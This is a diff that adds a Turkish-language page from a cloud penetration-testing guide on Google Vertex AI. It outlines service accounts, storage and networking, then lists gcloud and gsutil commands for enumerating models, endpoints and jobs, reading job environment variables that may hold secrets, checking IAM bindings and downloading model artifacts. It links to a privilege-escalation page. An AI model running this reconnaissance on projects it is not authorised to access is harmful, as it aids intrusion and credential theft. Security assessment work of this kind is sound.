+Varsayılan olarak, Vertex AI servisleri proje üzerinde **Editor** izinlerine sahip olan **Compute Engine default service account** (`PROJECT_NUMBER-compute@developer.gserviceaccount.com`) kullanır. Ancak şu durumlarda özel service account belirtebilirsiniz:
+
+- Custom jobs oluştururken
+- Modeller yüklerken
+- Modelleri endpoints'e deploy ederken
+
+Bu service account şunlar için kullanılır:
+- Cloud Storage içindeki training verilerine erişim
+- Cloud Logging'e log yazma
+- Secret Manager'dan secret'lara erişim
+- Diğer GCP servisleriyle etkileşim
+
+### Data Storage
+
+- **Model artifacts** Cloud Storage bucket'larında saklanır
+- **Training data** genellikle Cloud Storage veya BigQuery'de bulunur
+- **Container images** Artifact Registry veya Container Registry'de saklanır
+- **Logs** Cloud Logging'e gönderilir
+- **Metrics** Cloud Monitoring'e gönderilir
+
+### Encryption
+
+Varsayılan olarak, Vertex AI **Google-managed encryption keys** kullanır. Ayrıca şu şekilde yapılandırabilirsiniz:
+
+- Cloud KMS'den **customer-managed encryption keys (CMEK)**
+- Şifreleme model artifact'lerine, training verilerine ve endpoints'e uygulanır
+
+### Networking
+
+Vertex AI kaynakları için yapılandırma seçenekleri:
+
+- **Public internet access** (varsayılan)
+- **VPC peering** ile private erişim
+- **Private Service Connect** ile güvenli bağlantı
+- **Shared VPC** desteği
+
+### Enumeration
+```bash
+# List models
+gcloud ai models list --region=
+gcloud ai models describe --region=
+gcloud ai models list-version --region=
+
+# List endpoints
+gcloud ai endpoints list --region=
+gcloud ai endpoints describe --region=
+gcloud ai endpoints list --list-model-garden-endpoints-only --region=
+
+# List custom jobs
+gcloud ai custom-jobs list --region=
+gcloud ai custom-jobs describe --region=
+
+# Stream logs from a running job
+gcloud ai custom-jobs stream-logs --region=
+
+# List hyperparameter tuning jobs
+gcloud ai hp-tuning-jobs list --region=
+gcloud ai hp-tuning-jobs describe --region=
+
+# List model monitoring jobs
+gcloud ai model-monitoring-jobs list --region=
+gcloud ai model-monitoring-jobs describe --region=
+
+# List Tensorboards
+gcloud ai tensorboards list --region=
+gcloud ai tensorboards describe --region=
+
+# List indexes (for vector search)
+gcloud ai indexes list --region=
+gcloud ai indexes describe --region=
+
+# List index endpoints
+gcloud ai index-endpoints list --region=
+gcloud ai index-endpoints describe --region=
+
+# Get operations (long-running operations status)
+gcloud ai operations describe --region=
+
+# Test endpoint predictions (if you have access)
+gcloud ai endpoints predict \
+--region= \
+--json-request=request.json
+
+# Make direct predictions (newer API)
+gcloud ai endpoints direct-predict \
+--region= \
+--json-request=request.json
+```
+### Model Bilgi Toplama
+```bash
+# Get detailed model information including versions
+gcloud ai models describe --region=
+
+# Check specific model version
+gcloud ai models describe @ --region=
+
+# List all versions of a model
+gcloud ai models list-version --region=
+
+# Get model artifact location (usually a GCS bucket)
+gcloud ai models describe --region= --format="value(artifactUri)"
+
+# Get container image URI
+gcloud ai models describe --region= --format="value(containerSpec.imageUri)"
+```
+### Uç Nokta Detayları
+```bash
+# Get endpoint details including deployed models
+gcloud ai endpoints describe --region=
+
+# Get endpoint URL
+gcloud ai endpoints describe --region= --format="value(deployedModels[0].displayName)"
+
+# Get service account used by endpoint
+gcloud ai endpoints describe --region= --format="value(deployedModels[0].serviceAccount)"
+
+# Check traffic split between models
+gcloud ai endpoints describe --region= --format="value(trafficSplit)"
+```
+### Özel İş Bilgileri
+```bash
+# Get job details including command, args, and service account
+gcloud ai custom-jobs describe --region=
+
+# Get service account used by job
+gcloud ai custom-jobs describe --region= --format="value(jobSpec.workerPoolSpecs[0].serviceAccount)"
+
+# Get container image used
+gcloud ai custom-jobs describe --region= --format="value(jobSpec.workerPoolSpecs[0].containerSpec.imageUri)"
+
+# Check environment variables (may contain secrets)
+gcloud ai custom-jobs describe --region= --format="value(jobSpec.workerPoolSpecs[0].containerSpec.env)"
+
+# Get network configuration
+gcloud ai custom-jobs describe --region= --format="value(jobSpec.network)"
+```
+### Erişim Kontrolü
+```bash
+# Note: IAM policies for individual Vertex AI resources are managed at the project level
+# Check project-level permissions
+gcloud projects get-iam-policy
+
+# Check service account permissions
+gcloud iam service-accounts get-iam-policy
+
+# Check if endpoints allow unauthenticated access
+# This is controlled by IAM bindings on the endpoint
+gcloud projects get-iam-policy \
+--flatten="bindings[].members" \
+--filter="bindings.role:aiplatform.user"
+```
+### Depolama ve Artefaktlar
+```bash
+# Models and training jobs often store artifacts in GCS
+# List buckets that might contain model artifacts
+gsutil ls
+
+# Common artifact locations:
+# gs://-aiplatform-/
+# gs://-vertex-ai/
+# gs:///vertex-ai/
+
+# Download model artifacts if accessible
+gsutil -m cp -r gs:///path/to/artifacts ./artifacts/
+
+# Check for notebooks in AI Platform Notebooks
+gcloud notebooks instances list --location=
+gcloud notebooks instances describe --location=
+```
+### Model Garden
+```bash
+# List Model Garden endpoints
+gcloud ai endpoints list --list-model-garden-endpoints-only --region=
+
+# Model Garden models are often deployed with default configurations
+# Check for publicly accessible endpoints
+```
+### Ayrıcalık Yükseltme
+
+Aşağıdaki sayfada, **Vertex AI izinlerini kötüye kullanarak ayrıcalıkları nasıl yükseltebileceğinizi** inceleyebilirsiniz:
+
+{{#ref}}
+../gcp-privilege-escalation/gcp-vertex-ai-privesc.md
+{{#endref}}
+
+## Kaynaklar
+
+- [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs)
+- [https://cloud.google.com/vertex-ai/docs/reference/rest](https://cloud.google.com/vertex-ai/docs/reference/rest)
+
+{{#include ../../../banners/hacktricks-training.md}}